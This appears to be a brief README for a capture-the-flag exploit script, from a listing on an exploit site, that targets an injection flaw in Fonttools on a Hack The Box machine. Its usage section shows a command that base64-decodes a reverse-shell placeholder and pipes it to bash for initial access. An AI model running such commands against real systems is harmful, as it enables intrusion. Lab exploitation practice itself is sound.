Exploit for XML Injection (aka Blind XPath Injection) in Fonttools

## https://sploitus.com/exploit?id=8AFA795C-BE50-5354-9F9A-7C9568FEA6E3
# Hackthebox Season 10 - Variatype

This script will get you initial access.
First, Install required modules using pip

``` pip3 install -r requirements.txt ```

# Usage

``` python3 exploit.py 'id' ```

or

``` python3 exploit.py 'echo BASE64_ENCODED_REVSHELL | base64 -d | bash' ```